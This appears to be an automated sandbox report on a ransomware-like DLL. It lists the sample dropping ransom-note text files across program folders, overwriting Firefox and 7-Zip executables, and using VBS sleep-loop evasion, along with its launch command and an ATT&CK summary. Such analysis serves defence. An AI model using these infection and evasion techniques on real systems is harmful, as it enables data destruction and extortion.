Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Javascripts\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Tracker\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\CMap\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\SaslPrep\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\TypeSupport\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\DC\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\Setup Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OnlineInteraction\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ar-SA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\bg-BG\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\da-DK\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\de-DE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\el-GR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\es-ES\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\es-MX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\et-EE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fi-FI\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fr-CA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fr-FR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\he-IL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\hr-HR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\hu-HU\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\HWRCustomization\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\it-IT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ja-JP\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ko-KR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\LanguageModel\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\lt-LT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\lv-LV\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\nb-NO\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\nl-NL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pl-PL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pt-BR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pt-PT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ro-RO\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ru-RU\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sk-SK\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sl-SI\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sr-Latn-RS\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sv-SE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\th-TH\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\tr-TR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\uk-UA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\zh-CN\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\zh-TW\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\TextConv\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Triedit\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\ado\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\msadc\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\Ole DB\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\settings\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\instructions_read_me.txt	Jump to behavior

Source: WIFCgRK79c.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: WIFCgRK79c.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: WIFCgRK79c.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: WIFCgRK79c.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: rget\x86\ship\licensing\x-none\ospprearm.pdb source: OSPPREARM.EXE.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: pingsender.pdb source: pingsender.exe.3.dr
Source:	Binary string: mavinject32.pdbGCTL source: MavInject32.exe.3.dr
Source:	Binary string: AppVISVSubsystems32.pdb source: AppvIsvSubsystems32.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb!2 source: api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: msvcr120.amd64.pdb source: msvcr120.dll.3.dr
Source:	Binary string: AppVISVSubsystems32.pdbGCTL source: AppvIsvSubsystems32.dll.3.dr
Source:	Binary string: mavinject32.pdb source: MavInject32.exe.3.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source:	Binary string: rget\x86\ship\licensing\x-none\ospprearm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000; source: OSPPREARM.EXE.3.dr

Source: WIFCgRK79c.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: WIFCgRK79c.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: WIFCgRK79c.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: WIFCgRK79c.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: WIFCgRK79c.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: WIFCgRK79c.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB67424E push rbp; iretd		4_2_00007FFDFB67424F
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6730D6 push rbp; iretd		4_2_00007FFDFB6730D7

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\freebl3.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\freebl3.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\gkcodecs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\gkcodecs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\gkcodecs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\ipcclientcerts.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\lgpllibs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libEGL.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\lgpllibs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\lgpllibs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libEGL.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libEGL.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\ipcclientcerts.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\ipcclientcerts.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavutil.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavutil.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavutil.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libGLESv2.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavcodec.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libGLESv2.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\libGLESv2.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavcodec.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File written: C:\Program Files\Mozilla Firefox\mozavcodec.dll	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7-zip.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7z.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\lgpllibs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7-zip32.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\gkcodecs.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\ipcclientcerts.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\libGLESv2.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\AccessibleMarshal.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\freebl3.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\libEGL.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\mozavutil.dll	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	System file written: C:\Program Files\Mozilla Firefox\mozavcodec.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFDFB66CD2C GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_00007FFDFB66CD2C

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Potential evasive VBS script found (sleep loop)

Source: C:\Windows\System32\rundll32.exe

Dropped file: Do While objScriptExec.Status = 0 WScript.Sleep 100

Jump to dropped file

Potential evasive VBS script found (use of timer() function in loop)

Source: C:\Windows\System32\rundll32.exe

Dropped file: Do While objScriptEbJ5L^Q'u`]90Kr?*.V-uk>4n'-q}\ If iTimer = 50 Then

Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

Window / User API: threadDelayed 4281

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

API coverage: 4.0 %

Source: C:\Windows\System32\loaddll64.exe TID: 7528	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7624	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7588	Thread sleep count: 4281 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe

4_2_00007FFDFB616350

Source: C:\Windows\System32\loaddll64.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFDFB69D6F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00007FFDFB69D6F8

Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB68FCF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_00007FFDFB68FCF0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB69D6F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_00007FFDFB69D6F8

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00007FFDFB6C0BD0
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_00007FFDFB6B4048
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00007FFDFB6C0DAC
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoEx,	4_2_00007FFDFB68E3C4
Source: C:\Windows\System32\rundll32.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_00007FFDFB6C0378
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_00007FFDFB6C0794
Source: C:\Windows\System32\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_00007FFDFB6C06C4
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	4_2_00007FFDFB6B458C

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFDFB6A5B68 GetSystemTimeAsFileTime,

4_2_00007FFDFB6A5B68

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFDFB6BC29C _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

4_2_00007FFDFB6BC29C

Source: C:\Windows\System32\loaddll64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	11 Process Injection	13 Masquerading	OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
